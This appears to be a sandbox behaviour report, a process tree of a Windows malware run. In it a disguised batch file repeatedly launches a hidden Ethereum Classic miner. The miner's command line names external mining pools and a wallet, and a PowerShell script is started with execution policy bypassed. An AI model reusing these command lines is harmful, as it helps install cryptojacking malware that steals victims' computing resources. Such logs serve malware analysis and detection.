    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:6904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7736
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:420
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6264
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3340
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6972
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5628
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7344
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4956
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6980
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6160
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7908
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4848
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7792
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6784
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7832
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7656
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:7664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1728
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8048
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:7588
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4464
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7632
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:4320
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6600
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7016
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7836
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:620
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4712
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:980
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7088
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5960
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6864
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7216
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8020
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2540
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2652
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5076
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3528
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6860
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:5488
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5596
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:1392
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5044
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:8516
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1196
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7644
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3780
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:1052
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6432
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5792
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7260
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6984
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4368
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3080
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8248
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8424
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8460
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6644
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:8780
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:7296
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8944
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5768
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8132
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8416
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8292
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:8384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8472
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8572
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:8572

C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1⤵
PID:3248
- C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
  C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
  2⤵
  PID:1504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\Host Task\dynamic_power.ps1"
    3⤵
